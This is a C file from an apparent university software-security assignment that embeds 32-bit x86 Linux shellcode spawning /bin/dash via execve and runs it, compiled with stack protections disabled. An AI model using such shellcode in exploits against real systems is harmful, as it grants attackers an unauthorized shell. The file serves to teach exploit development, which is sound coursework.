Systemsicherheit/Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c
2024-06-09 19:37:58 +02:00

16 lines
No EOL
486 B
C

#include <stdio.h>
#include <string.h>
// gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c
// Your shellcode goes here
char *shellcode = "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
// ------------------------
int main()
{
// Print length of shellcode
fprintf(stdout,"Length: %d\n",strlen(shellcode));
// Execute shellcode
(*(void (*)()) shellcode)();
}